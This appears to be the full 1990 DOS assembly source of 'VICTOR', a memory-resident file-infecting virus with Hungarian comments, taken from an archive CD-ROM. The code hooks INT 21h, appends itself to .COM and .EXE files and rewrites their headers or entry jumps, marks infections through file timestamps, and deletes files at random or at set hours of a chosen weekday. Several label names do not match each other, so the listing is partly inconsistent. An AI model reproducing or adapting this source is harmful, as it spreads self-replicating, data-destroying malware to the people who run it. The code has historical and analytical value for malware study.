HPAVC/HPAVC CD-ROM.iso/pc/SOURCE.ZIP/VICTOR.ASM

Assembly Source File | 1990-03-09 | 29.0 KB | 889 lines

;************************************************
;*                                              *
;*   VICTOR V.1.0                               *
;*   The incredible high performance virus      *
;*   Length #98A bytes                          *
;*                                              *
;************************************************
;
;        6 = bunteto sys file's time
;        8 = bunteto sys file's date
;       3f = Loaded .EXE header E... offset SS
;       41 =         value SP
;       43 =         chksum
;       45 =         value IP
;       47 =         offset CS
;       49 = SS init addr (relative to 0)
;       4B = SP init addr
;       4F = .EXE start point ofs (relative to 0)
;       51 = .EXE start point seg
;       53 = .exe size$ - header length
;       59 = .EXE file logikai merete /felkerekitve egy $ al, $ hatar/
;       5B =   --""--
;       5D = .exe size length mod 512
;       5F = .exe size length div 512
;       61 = Loaded .EXE header length $ mod 512
;       63 = PSP seg
;       65 = psp seg
;       72 = ido tarolohely hi=sec, lo=1/100 sec
;   B   74 = jelzo a bunteto rendszerben talalt file 1=COM,0=EXE
;       75 = a bunteto rendszerben a talalt file attributuma
;       77 = DOS fatal error ofs
;       79 = DOS fatal error seg
;       7B = DTA ofs
;       7D = DTA seg
;       7F = PSP seg
;   B   81 = A sajat file f9=.EXE/f8=.COM (default)
;       82 = INT_21 ofs
;       84 = INT_21 seg
;       86 = az FFFF funkciora dos-tol visszakapott ertek
;       88 = seg PSP:100 / PSP
;       8C = env-en beluli offset  sajat nev
;       8E = SS save area
;       90 = SP save area
;       92
;        |   Parameter Block for Load
;       9E
;   B   A2 = INT_21 second
;   B   A3 = INT_21 minute
;       A4 = INT_21 SS save
;       A6 = INT_21 SP save
;       A8 = flag 1=child process in action 0=foprocess
;       A9 = INT_21 original AX
;   B   B1 = idopont flag Pentek 9,11,13,15 idopontokban 1 /0
;   B   B2 = day of week (0=sun ... 6=sat)
;   B   BA = f8 (default .COM file) f9=exe
;
XSEG    SEGMENT
        ASSUME CS:XSEG
XPROC   PROC FAR
        CALL    L00B4           ;eloszor egy jmp x-el a virus indul el
        db      ?,?,?           ;a program elso 3 byte-ja
        db      ? dup (?)       ;adatterulet
L00B4:  POP     SI
        SUB     SI,3
        CLI
        CLD
        CLC
        JC      L00EB
        PUSH    SI
        ADD     SI,3
        CLD
        MOV     DI,100H         ;restauracio
        MOVSW
        MOVSB
        POP     SI
        MOV     AX,CS
        MOV     BX,AX
        MOV     CL,4
        SHR     SI,CL
        ADD     AX,SI           ;ax=virus kezdet szegmens
        PUSH    AX
        MOV     AX,0D8H
        PUSH    AX
        DB      0CBH            ;RETF
;cont...
        MOV     CS:[7FH],BX             ;eredeti PSP addr
        MOV     CS:[63H],BX
        MOV     AX,CS
        MOV     DS,AX
        MOV     ES,AX                   ;atteres a virus szegmensre
        JMP     L010A
;L00EB:
;        MOV     CS:[0063H],DS
;        MOV     AX,CS
;        MOV     DS,AX
;        MOV     ES,AX
;        MOV     AX,WORD PTR DS:[0063H]
;        ADD     AX,0010H
;        MOV     WORD PTR DS:[0065H],AX
;        MOV     SI,003FH
;        MOV     DI,0049H
;        MOV     CX,0005H
;        MOVSW
;

;
; A virus ellenorzi a DOS verziot, ha ez nem megfelelo _exec.
; Ha a virus meg nincs a memoriaban _copy0
; Ha mar bent van _exec
;
L010A:  MOV     AL,DS:[00BAH]
        MOV     DS:[0081H],AL
        MOV     AH,30H                  ;DOS version
        INT     21H
        CMP     AL,3
        JZ      vers_ok
        MOV     CX,0FEC1H
        MOV     DS:[0086H],CX
        JMP     _exec
vers_ok:MOV     AX,0FFFFH               ;Mar a memoriaban van ?
        MOV     BX,0FF0H
        INT     21H
        MOV     DS:[0086H],CX
        CMP     CX,0FEC1H
        JNZ     _copy0
        JMP     _exec
;
;  _copy0: a virus elhelyezese a memoriaban
;
; A virus meg nincs a memoriaban.
; Megkeresi a saja nevet a kesobbieknek es megnezi hogy sajat maga elerheto-e.
; A memoriablokkja elejere masolja a virust .COM, es .EXE file-oknak
; megfeleloen. Ezek utan _exec.
;
_copy0:
        PUSH    ES
        MOV     AX,DS:[063H]            ;A program ENV-je
        MOV     ES,AX
        MOV     AX,ES:[02CH]
        MOV     DS:[8AH],AX
        PUSH    DS
        MOV     AX,DS:[8AH]
        MOV     DS,AX
        MOV     ES,AX
        XOR     DI,DI
        MOV     AL,1
        MOV     CX,01F4H
        REPNE   SCASB
        INC     DI
        POP     DS
        POP     ES
        MOV     DS:[8CH],DI             ;Sajat fertozott programom neve
        PUSH    DS
        MOV     DX,DI
        MOV     AX,DS:[008AH]
        MOV     DS,AX
        MOV     AX,3D00H                ;Open File = Sajat magam
        INT     21H
        POP     DS
        JNC     L0175
        MOV     DS:[86H],0FEC1H
        JMP     _exec
L0175:  MOV     BX,AX                   ;Close File
        MOV     AH,3EH
        INT     21H
        CMP     BYTE PTR DS:[081H],0F9H
        JZ      exe_file                ;Az exe-t 0-ra kell masolni
        MOV     AX,DS:[007FH]
        MOV     DS:[0065],AX
        MOV     ES,AX
        ADD     AX,0010H
        MOV     WORD PTR DS:[0088H],AX  ;ES=PSP:100
        XOR     SI,SI
        MOV     DI,0100H                ;eddig a virus a mem vegen volt
        MOV     CX,098AH                ;Atmasolja a virust  PSP:100 ra
        REP     MOVSB
        PUSH    AX
        MOV     AX,01B7H
        PUSH    AX
        DB      0CBH                    ;A vezerles a PSP:100 ban!!! to:1
;
; .EXE program eseten nem kell lehet 100H ra tenni.
;
exe_file:
        MOV     AX,DS:[0065H]           ;normal psp:
        MOV     ES,AX
        MOV     DS:[0088H],AX
        XOR     SI,SI
        XOR     DI,DI
        MOV     CX,098AH                ;A virus szegmensbol a psp: re
        REP     MOVSB                   ; atmasolja a virust.
        PUSH    AX
        MOV     AX,01B7H
        PUSH    AX
        DB      0CBH; RETF
; cont from 1
;
;       _exec: blow/install/run_original
;
; 1. Esetleges kartekonykodas.
; 2. a, Ha a virus mar a memoriaban van, lefuttatja az
;       eredeti programot. /ez a tarban van, csupan a vezerlest kell raadni./
;    b, Ha meg nincs a memoriaban, akkor atveszi a rendszertol
;       a vezerlest. /ezutan barmilyen DOS fn-kerelmet ellenorizhet, vagy
;       tetszese szerint hatasaban megvaltoztathat./ Ennel a megvalositasnal
;       a virus felulirta a betoltott programot, hogy a memoriablokk tetejen
;       lehessen. Igy kenytelen a dos program betolto-lefuttato funkciojat
;       hasznalni, hogy lefuttassa a programot. A vezerlest visszakapva magat
;       rezidensse teszi magat, es kilep a DOS-ba /KEEP funkcio./
;
; /a hasznalata elott szukseges _copy0, ha meg nem rezidens a virus./
;
;
        MOV     AX,CS                   ;cs=psp:100
        MOV     DS,AX
        MOV     ES,AX
        MOV     SS,AX
        MOV     SP,08F3H
_exec:  MOV     AH,2CH                  ;Get Time
        INT     21H
        MOV     DS:[0072H],DX           ;seconds/hundredths
        MOV     AH,2CH
        INT     21H
        MOV     CL,DL
        AND     CL,0FH
        ROL     DS:[0072H],CL
        TEST    WORD PTR DS:[0072H],1   ;Veletlen esemeny
        JE      L01E2
        JMP     L01E5
L01E2:  CALL    _working                ;???? kartekonykodhat...
L01E5:  CMP     WORD PTR DS:[86H],0FEC1H;Meg nincs installalva de _copy0 volt
        JNZ     _inst
        JMP     run_prg                 ;a program tarban van, ugorj ra!
_inst:  MOV     DX,DS:[0088H]           ;seg(PSP:100) - PSP = 10
        SUB     DX,DS:[0065H]
        MOV     BX,098AH                ;Virus length in paragraphs
        MOV     CL,04H
        SHR     BX,CL
        INC     BX
        ADD     DX,BX
        ADD     DX,10H
        MOV     DS:[00A0H],DX
        PUSH    ES
        MOV     ES,DS:[0063H]           ;A sajat memoriablokkom merete csokken,
        MOV     BX,DS:[00A0H]           ; pont annyi lesz, ahova befer a virus
        MOV     AX,4A00H                ; PSP vel egyutt meg + $10
        INT     21H                     ;/mivel bemasoltuk, ez ott van/
        POP     ES
        PUSH    ES
        MOV     AX,3521H                ;Get INT_21 vector
        INT     21H
        MOV     DS:[0082H],BX
        MOV     DS:[0084H],ES
        POP     ES
        MOV     DX,06B3H                ;Set INT_21 vector
        MOV     AX,2521H
        INT     21H
        MOV     BYTE PTR DS:[00A8H],1   ;=child process flag
        PUSH    ES                      ;Prepare for Load/Exec self
        PUSH    DS
        MOV     DS:[008EH],SS
        MOV     DS:[0090H],SP
        MOV     AX,WORD PTR DS:[008AH]  ;Az L/E egy uj memoriablokkot hoz
        MOV     WORD PTR DS:[0092H],AX  ;letre /a virusprogram felett/
        MOV     AX,WORD PTR DS:[0063H]  ;exitnel csak az altala lefoglalt
        MOV     WORD PTR DS:[0096H],AX  ;blokk szabadul fel, a virus bent
        MOV     WORD PTR DS:[009AH],AX  ;marad tovabbra is.
        MOV     WORD PTR DS:[009EH],AX
        MOV     BX,0092H
        MOV     DX,DS:[008CH]
        MOV     AX,WORD PTR DS:[008AH]
        MOV     DS,AX
        MOV     AX,4B00H
        INT     21H
        MOV     AX,WORD PTR CS:[008EH]  ;A kilepeskor felszabadult a futtato
        MOV     SS,AX                   ;blokk, es visszakaptam a vezerlest.
        MOV     SP,CS:[0090H]
        POP     DS
        POP     ES
        MOV     BYTE PTR DS:[00A8H],0   ;Process flag
        MOV     DX,DS:[00A0H]
        MOV     AX,3100H                ;Terminate process and remain resident
        INT     21H                     ;(KEEP)
; Akkor hajtodik vegre, ha a virus mar bent van a memoriaban
run_prg:
        CMP     BYTE PTR CS:[81H],0F8H  ;.COM program
        JNZ     run_exe
        JMP     run_com
run_exe:MOV     DX,DS:[0065H]           ;PSP
        ADD     DS:[0051H],DX           ;Inditasi szegmens
        MOV     AX,WORD PTR DS:[0049H]  ;SS relative
        ADD     AX,DX                   ;Setup Stack
        MOV     SS,AX
        MOV     SP,DS:[004BH]
        MOV     AX,WORD PTR DS:[0063H]  ;Default PSP
        MOV     DS,AX
        MOV     ES,AX
        STI
        JMP     DWORD PTR CS:[004FH]    ;EXE Start point
; .COM program kornyezet beallitas, es lefuttatas PSP:100
run_com:MOV     AX,WORD PTR DS:[007FH]  ;Default PSP
        MOV     DS,AX
        MOV     ES,AX
        STI
        PUSH    AX
        MOV     AX,0100H
        PUSH    AX
        DB      0CBH; RETF
;
; Kartekony: letorol egy par file-t, vagy fertoz
;
_working:
        MOV     CX,DS:[0072H]           ;Veletlen kezdoertek 1..4 ciklus
        AND     CX,3
        INC     CX
delet:  PUSH    CX
        CALL    L02C5
        POP     CX
        LOOP    delet
        DB      0C3H; RET
;
L02C5:  MOV     AH,2AH                  ;Get Date
        INT     21H
        MOV     DS:[00B2H],AL           ;Day of Week
        PUSH    ES
        MOV     AH,2FH                  ;Get DTA
        INT     21H
        MOV     DS:[007BH],BX
        MOV     DS:[007DH],ES
        POP     ES
        MOV     DX,0014H                ;Set DTA
        MOV     AH,1AH
        INT     21H
        PUSH    ES
        MOV     AX,3524H                ;Get Dos Fatal Error vector
        INT     21H
        MOV     DS:[0077H],BX
        MOV     DS:[0079H],ES
        POP     ES
        MOV     DX,00B3H
        MOV     AX,2524H                ;Set Fatal Error to : IRET
        INT     21H
        MOV     CX,0FFE3H
        MOV     DX,000AH                ;Search for first :*.*
        MOV     AH,4EH
        INT     21H
        JNC     _kezd
        JMP     io_err                  ; reset DTA, fatal error, RET
_kezd:  MOV     AH,2CH                  ;Set randomizer
        INT     21H
        MOV     DS:[0072H],DX
        MOV     AH,2CH
        INT     21H
        MOV     CL,DL
        AND     CL,0FH
        ROL     DS:[0072H],CL
        MOV     AH,2CH                  ;Get Time
        INT     21H
        XOR     DS:[0072H],DX
        MOV     BYTE PTR DS:[00B1H],0   ;idopont-flag
        CMP     BYTE PTR DS:[00B2H],3   ;Milyen nap van?
        JNZ     no_date
        CMP     CH,9                    ;Pentek 9h,11h,13h,15h-nal
        JZ      kill                    ; kimeletlenul letorol fileokat
        CMP     CH,0BH
        JZ      kill                    ;maskor neha megnezi hogy com/exe-e.
        CMP     CH,0DH
        JZ      kill
        CMP     CH,0FH
        JNZ     no_date
kill:   MOV     BYTE PTR DS:[00B1H],1   ;A datum megfelelo
no_date:TEST    WORD PTR DS:[0072H],30H
        JNZ     _1
        JMP     d_next
_1:     CMP     BYTE PTR DS:[00B1H],1
        JNZ     look_run
        MOV     DX,0032H                ;Megfelel az idopont, es sajnos...
        MOV     CX,0020H
        MOV     AX,4301H
        INT     21H                     ;change file mode to normal
        JNB     _del
        JMP     io_err
_del:   MOV     DX,0032H                ;UNLINK file
        MOV     AH,41H
        INT     21H
        JMP     io_err
;
; Ha futtathato .COM v .EXE a talalt file akkor megfertozi ha meg nincs,
; egyebkent keres egy masik file-t. /1 lehetoseget ad/
;
look_run:
        MOV     DI,0032H                ;A penteki kritikus idon kivul
        XOR     AL,AL                   ;akar fertozhet is
        MOV     CX,003FH
        REPNE   SCASB
        SUB     DI,+04H
        MOV     BP,DI
        MOV     SI,DI
        MOV     CX,0003H                ;ez egy .COM volt ???
        MOV     DI,000EH
        REPE    CMPSB
        JZ      _dcom
        MOV     SI,BP
        MOV     CX,0003H                ;vagy egy .EXE ???
        MOV     DI,0011H
        CMPSB
        JZ      _dexe
        JMP     d_next                  ;nem futtathato file, ujat
_dcom:  MOV     BYTE PTR DS:[0074H],1
        JMP     _d
_dexe:  MOV     BYTE PTR DS:[0074H],0
_d:     MOV     DX,0032H                ;Get file attr
        MOV     AX,4300H
        INT     21H
        JNB     _2
        JMP     io_err
_2:     MOV     DS:[0075H],CX
        MOV     DX,0032H                ;Set normal attr
        MOV     CX,0020H
        MOV     AX,4301H
        INT     21H
        JNC     L03CD
        JMP     io_err
L03CD:  MOV     DX,0032H                ;Open file
        MOV     AX,3D02H
        INT     21H
        JNB     L03DA
        JMP     io_err
L03DA:  MOV     BX,AX
        MOV     AX,5700H                ;Get file date/time
        INT     21H                     ;a fertozott fileok ideje oszthato 8-al
        JNB     _3
        JMP     io_err
_3:     MOV     DS:[0006H],CX
        MOV     DS:[0008H],DX
        TEST    CX,0007H
        JZ      dft_ok
        JMP     fertoz                  ;ha nem oszthato 8-al, nincs fertozve
dft_ok: TEST    WORD PTR DS:[72H],43H   ;meg bizonytalankodik
        JZ      d_mehet
        JMP     d_clnxt
d_mehet:MOV     CX,0FFFFH               ;LSEEK  EOF - 6
        MOV     DX,0FFFAH
        MOV     AX,4202H
        INT     21H
        JNB     dls_ok
        JMP     io_err
dls_ok: MOV     CX,0006H                ;Read file's last 6 byte
        MOV     DX,00ABH
        MOV     AH,3FH
        INT     21H
        JNC     drd_ok
        JMP     io_err
drd_ok: MOV     CX,0003H                ;megegyezik valamivel
        MOV     SI,0984H                ;/mar fertozott/
        MOV     DI,00ABH
        REPE    CMPSW
        JZ      d_clnxt
        JMP     fertoz
d_clnxt:                                ;Close and Next
        MOV     AH,3EH
        INT     21H
        JNB     d_attrs
        JMP     io_err
dattrs: MOV     CX,DS:[0075H]           ;Reset attr
        MOV     DX,0032H
        MOV     AX,4301H
        INT     21H
        JNC     d_next
        JMP     io_err
;
; Probal ujabb file-t keresni
;
d_next: TEST    WORD PTR DS:[0072H],2CH         ;meg egy lehetosege van
        JNZ     _dsnext
        JMP     io_err
_dsnext:MOV     AH,4FH
        INT     21H
        JNC     _dnxtok
        JMP     io_err
_dnxtok:JMP     _kezd
;
; A fertozott file jellemzoi: /.COM v .EXE /
;
;   Csak olyan file-okat fertoz meg melyek hossza nagyobb a virusenal.
;   A tul nagy .COM fileokat nem bantja.
;   File ido oszthato 8-al
;   File vegen levo virus azonosito (6 byte ea80492502. )
;
fertoz: XOR     CX,CX
        XOR     DX,DX
        MOV     AX,4202H        ;LSEEK eof
        INT     21H
        JNC     _4
        JMP     io_err
_4:     AND     DX,DX
        JNZ     d_selct
        CMP     AX,098AH        ;csak a virusnal nagyobbak jok
        JNC     d_selct
        JMP     d_clnxt
d_selct:CMP     BYTE PTR DS:[0074H],1
        JNZ     df_exe
        JMP     df_com
;
; .EXE file megfertozese
;
; 1. Beolvassa a File hosszat mod 512 (+2) es a tobbi informaciot
; 2. A file vegere /size felkerekitett $, $ hatar/ felirja a virus-testet
; 3. Kiszamitja a kod hosszat = eredeti_file_size$ - header_size ,
;    es ez lesz erteke az uj +SS,+CS nek, IP=0.
;    /az eredeti exe kod moge, pont a virusra mutat/
; 4. Felirja az uj Header informaciot.
; 5. Megallapitja az uj filehossz div,mod 512-t
; 6. Felirja a headerbe (+2)
; 7. Visszaallitja a file-idot (div 8) es a file attributumot
;
df_exe:
        MOV     BYTE PTR CS:[BAH],0F9H  ;.EXE file
        XOR     CX,CX
        MOV     DX,0008H
        MOV     AX,4200H                ;LSEEK 8: Size of header $
        INT     21H
        JNB     _5
        JMP     io_err
_5:     MOV     CX,0002H                ;READ Size of header mod 512
        MOV     DX,0061H
        MOV     AH,3FH
        INT     21H
        JNC     _6
        JMP     io_err
_6:     XOR     CX,CX                   ;LSEEK E: Offset of SS
        MOV     DX,000EH
        MOV     AX,4200H
        INT     21H
        JNC     _7
        JMP     io_err
_7:     MOV     CX,000AH                ;Read header information
        MOV     DX,003FH
        MOV     AH,3FH
        INT     21H
        JNC     _8
        JMP     io_err
_8:     XOR     CX,CX
        XOR     DX,DX
        MOV     AX,4202H                ;LSEEK eof
        INT     21H
        JNB     _9
        JMP     io_err
_9:     MOV     CX,DX
        MOV     DX,AX                   ;a meret felkerekitve egy $-al
        ADD     DX,+10H                 ;mindig $ hatar
        ADC     CX,+00H
        AND     DX,-10H
        MOV     AX,4200H
        INT     21H                     ;Elmegy a file vegere /maga szerint/
        JNB     _10
        JMP     io_err
_10:    MOV     DS:[005BH],DX
        MOV     DS:[0059H],AX
        MOV     CX,098AH
        XOR     DX,DX                   ;Felirja a virus-testet
        MOV     AH,40H
        INT     21H
        JNB     L0501
        JMP     io_err
L0501:  CMP     AX,CX
        JE      L0508
        JMP     io_err
L0508:  MOV     DX,DS:[005BH]           ;size HI max. 000x  x=0..f hexad.
        MOV     CL,0CH
        SHL     DX,CL
        MOV     AX,DS:[0059H]           ;size LO
        MOV     CL,04H
        SHR     AX,CL
        OR      DX,AX
        SUB     DX,DS:[0061H]
        MOV     DS:[005BH],DX           ;size $ - header_length = code_length$
        MOV     DS:[0053H],DX
        MOV     WORD PTR DS:[0059H],0
        XOR     CX,CX
        MOV     DX,000EH                ;LSEEK E:
        MOV     AX,4200H
        INT     21H
        JNB     L053A
        JMP     io_err
L053A:  MOV     CX,000AH                ;WRITE UP new Header Info
        MOV     DX,0053H                ;
        MOV     AH,40H                  ; new SS ofs = file moge mutat
        INT     21H                     ; new IP = 0
        JNB     L0549                   ; new CS ofs = file moge mutat
        JMP     io_err
        NOP
L0549:  XOR     CX,CX                   ;LSEEK EOF
        XOR     DX,DX
        MOV     AX,4202H
        INT     21H
        JNB     L0557
        JMP     io_err
        NOP
L0557:  ADD     AX,01FFH                ;Totalsize = exesize + virus
        ADC     DX,0                    ;felkerekiti 512-re
        MOV     DH,DL
        MOV     DL,AH                   ;DX= DL AH
        XOR     AH,AH
        SHR     DX,1                    ; ez lesz a hanyados
        ADC     AH,0
        MOV     WORD PTR DS:[005DH],AX  ; 256/0 maradek
        MOV     DS:[005FH],DX
        XOR     CX,CX                   ;LSEEK 2: size mod 512
        MOV     DX,0002H
        MOV     AX,4200H
        INT     21H
        JNB     L057E
        JMP     io_err
        NOP
L057E:  MOV     CX,0004H                ;WRITE up  size mod 512
        MOV     DX,005DH                ;          size div 512
        MOV     AH,40H
        INT     21H
        JNB     L058D
        JMP     SHORT io_err
        NOP
L058D:  MOV     CX,DS:[0006H]           ;Set Original file time
        MOV     DX,DS:[0008H]           ;kiveve time oszthato 8-al
        AND     CX,-08H
        MOV     AX,5701H
        INT     21H
        JNB     L05A2
        JMP     SHORT io_err
        NOP
L05A2:  MOV     AH,3EH                  ;Close
        INT     21H
        JNB     L05AB
        JMP     SHORT io_err
        NOP
L05AB:  MOV     CX,DS:[0075H]           ;Reset attr
        MOV     DX,0032H
        MOV     AX,4301H
        INT     21H
        JMP     io_err
;
; I/O error
;
io_err: PUSH    DS
        MOV     DX,DS:[007BH]
        MOV     AX,DS:[007DH]
        MOV     DS,AX           ;Reset DTA
        MOV     AH,1AH
        INT     21H
        POP     DS
        PUSH    DS
        MOV     DX,DS:[0077H]
        MOV     AX,DS:[0079H]   ;Reset Fatal Error vector
        MOV     DS,AX
        MOV     AX,2524H
        INT     21H
        POP     DS
        DB      0C3H; RET
;
; A .COM file megfertozese:
;
; 1. Ellenorzi, hogy nem lesz-e tul nagy a .COM file a virussal egyutt.
; 2. Eltarolja adatteruletere a file elso 3 byte-jat /ezt fogja kicserelni/
; 3. A file vege utan /felkerekiti egy $-al,mindig $-hatar/ felirja a
;    virus-testet.
; 4. A file elejere felirja a JMP v_start utasitast. v_start = filesize + 3
; 5. Visszaallitja a file-idot azon modositassal, hogy mindig oszthato 8-al
;    /ez egy jel amirol gyorsabban ismerheti fel a mar fertozott prg-kat/,
;    es az eredeti file-attributumot.
;
df_com:
        MOV     BYTE PTR CS:[BAH],0F8H  ;.COM file
        XOR     DX,DX
        XOR     CX,CX
        MOV     AX,4202H                ;LSEEK EOF
        INT     21H
        JNB     _c1
        JMP     SHORT io_err
_c1:    MOV     CX,0FC80H               ;nem tul nagy-e a file (max 64K COM)
        SUB     CX,098AH
        CMP     AX,CX
        JB      _csoz
        JMP     d_clnxt
_csok:  XOR     DX,DX
        XOR     CX,CX
        MOV     AX,4200H                ;LSEEK START
        INT     21H
        JNB     _crd3
        JMP     SHORT io_err
_crd3:  MOV     CX,0003H                ;READ FILE'S FIRST 3 byte
        MOV     DX,0003H                ;(ezt fogja lecserelni az ugrasra)
        MOV     AH,3FH                  ;ds:3 ra azaz a virustestbe
        INT     21H
        JNB     _crdok
        JMP     SHORT io_err
_crdok: CMP     AX,CX
        JZ      _crdok1
        JMP     SHORT io_err
_crdok1:XOR     CX,CX                   ;LSEEK EOF
        XOR     DX,DX
        MOV     AX,4202H
        INT     21H
        JNC     _cls1ok
        JMP     io_err
_cls1ok:MOV     BP,AX                   ; (size + 10h) AND -10h =
        ADD     BP,+10H
        AND     BP,-10H                 ; felkerekiti egy $-al a size-t
        XOR     CX,CX
        MOV     DX,BP
        MOV     AX,4200H                ; es elmegy ide /over EOF/
        INT     21H
        JNB     _covr
        JMP     io_err
_covr:  MOV     CX,098AH                ;WRITE felirja a virustestet
        XOR     DX,DX
        MOV     AH,40H
        INT     21H
        JNB     _cwrok
        JMP     io_err
_cwrok: CMP     AX,CX
        JZ      _cwr1ok
        JMP     io_err
_cwrok1:XOR     DX,DX                   ;LSEEK START
        XOR     CX,CX
        MOV     AX,4200H
        INT     21H
        JNB     L0664
        JMP     io_err
L0664:  MOV     BYTE PTR DS:[0003H],0E9H
        SUB     BP,+03H                 ;WRITE jmp virus (size+3)
        MOV     DS:[0004H],BP
        MOV     CX,0003H
        MOV     DX,0003H
        MOV     AH,40H
        INT     21H
        JNB     L067F
        JMP     io_err
L067F:  CMP     AX,CX
        JE      L0686
        JMP     io_err
L0686:  MOV     CX,DS:[0006H]           ;Set file Date/Time
        MOV     DX,DS:[0008H]           ;A FERTOZOTT FILE IDEJE OSZTHATO 8-AL
        AND     CX,-08H                 ;CX = xxxxx000
        MOV     AX,5701H
        INT     21H
        JNB     L069B
        JMP     io_err
L069B:  MOV     AH,3EH                  ;Close file
        INT     21H
        JNB     L06A4
        JMP     io_err
L06A4:  MOV     CX,DS:[0075H]           ;Set original file attr
        MOV     DX,0032H
        MOV     AX,4301H
        INT     21H
        JMP     io_err                  ;befejezodott a fertozes

;*******************************
;*                             *
;* A rezidens INT_21 funkcio   *
;*                             *
;*******************************

        CMP     AX,0FFFFH               ;virus funkcio: install_stat
        JNE     L06C2
        CMP     BX,0FF0H
        JNE     L06C2
        MOV     CX,0FEC1H               ;visszaadja az install-kodot
        IRET
L06C2:  CMP     AH,3EH                  ;CLOSE
        JE      L0710
        CMP     AH,41H                  ;UNLINK
        JE      L0710
        CMP     AH,3CH                  ;CREAT
        JE      L0710
        CMP     AH,42H                  ;LSEEK
        JE      L0710
        CMP     AH,43H                  ;CHMOD
        JE      L0710
        CMP     AH,4BH                  ;L/E
        JE      L0710
        CMP     AH,4EH                  ;FFIRST
        JE      L0710
        CMP     AH,4FH                  ;FNEXT
        JE      L0710
        CMP     AH,5BH                  ;CREATE
        JE      L0710
        CMP     AH,39H                  ;MKDIR
        JE      L0710
        CMP     AH,3AH                  ;RMDIR
        JE      L0710
        CMP     AH,3BH                  ;CHDIR
        JE      L0710
        CMP     AH,3DH                  ;OPEN
        JE      L0710
        CMP     AH,3FH                  ;READ
        JE      L0710
        CMP     AH,40H                  ;WRITE except BX=1 stdout
        JE      L0710
        JMP     jmp_dos
L0710:
        CMP     BYTE PTR CS:[00A8H],1   ;Ha Child processben vagyunk
        JNE     L071B                   ;mindent beken kell hagyni...
        JMP     jmp_dos
L071B:  CMP     AH,40H                  ;FN = WRITE, handle=1 (print)
        JNE     L0728                   ;   nem bantja
        CMP     BX,+01H
        JNE     L0728
        JMP     jmp_dos                 ;to dos
L0728:
        MOV     CS:[00A9H],AX
        MOV     CS:[00A4H],SS
        MOV     CS:[00A6H],SP
        MOV     AX,CS
        MOV     SS,AX
        MOV     SP,08F3H
        PUSH    ES
        PUSH    DS
        PUSH    AX
        PUSH    BX
        PUSH    CX
        PUSH    DX
        PUSH    SI
        PUSH    DI
        PUSH    BP
        MOV     AX,CS
        MOV     DS,AX
        MOV     ES,AX
        PUSH    DS
        MOV     DX,DS:[0082H]
        MOV     AX,DS:[0084H]
        MOV     DS,AX
        MOV     AX,2521H                ;Visszaallitja az eredeti
        INT     21H                     ; DOS hivas lehetoseget
        POP     DS                      ;  a rutinon belul
        NOP
        NOP
        NOP
        NOP
        MOV     AH,2CH                  ;Randomize
        INT     21H
        MOV     DS:[0072H],DX
        MOV     AH,2CH
        INT     21H
        MOV     CL,DL
        AND     CL,0FH
        ROL     DS:[0072H],CL
        MOV     AH,2CH
        INT     21H
        XOR     DS:[0072H],DX
        MOV     AH,2CH
        INT     21H
        CMP     CL,DS:[00A3H]
        JZ      L0792
        MOV     DS:[00A3H],CL           ;min
        MOV     DS:[00A2H],DH           ;sec
        JMP     do_it
        NOP
L0792:  MOV     BL,DS:[00A2H]           ;felorankent kozbelep
        ADD     BL,30
        CMP     DH,BL
        JC      _vDOS
        MOV     DS:[00A2H],DH
do_it:  CALL    _working
vDOS:   MOV     DX,06B3H                ;visszaallitja onmagat DOS-nak
        MOV     AX,2521H
        INT     21H
        POP     BP
        POP     DI
        POP     SI
        POP     DX
        POP     CX
        POP     BX
        POP     AX
        POP     DS
        POP     ES
        MOV     AX,WORD PTR CS:[00A4H]
        MOV     SS,AX
        MOV     SP,CS:[00A6H]
        MOV     AX,WORD PTR CS:[00A9H]
jmp_dos
        JMP     DWORD PTR CS:[0082H]            ;Exec DOS fn

        db      'The incredible anyad'

XPROC   ENDP
XSEG    ENDS
        END